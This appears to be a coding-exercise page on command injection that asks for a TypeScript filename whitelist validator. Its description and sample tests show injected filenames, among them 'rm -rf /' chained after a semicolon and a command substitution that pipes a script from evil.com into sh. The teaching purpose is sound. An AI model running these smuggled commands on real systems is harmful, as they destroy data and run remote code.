MediumJavaScriptTypeScript

Command Injection — Whitelist the Filename

TypeScriptSecurityInjection

A file-processing endpoint shells out to a CLI tool, passing a user-supplied filename.

The bug: filenames like report.txt; rm -rf / or $(curl evil.com/x.sh | sh) get interpreted by the shell as *additional commands*, not as part of a filename — full remote code execution.

Your task: fix solve(filename) so it returns true only for filenames made exclusively of letters, digits, dots, dashes and underscores — anything else (shell metacharacters like ;, |, &, $(, backticks, spaces) must return false.

Sample tests

Test #1Normal filename
Input: ["report.txt"]
Output: true
Test #2Command chaining via semicolon
Input: ["report.txt; rm -rf /"]
Output: false
Test #3Command substitution
Input: ["$(whoami).txt"]
Output: false
Test #4Pipe operator
Input: ["a|b"]
Output: false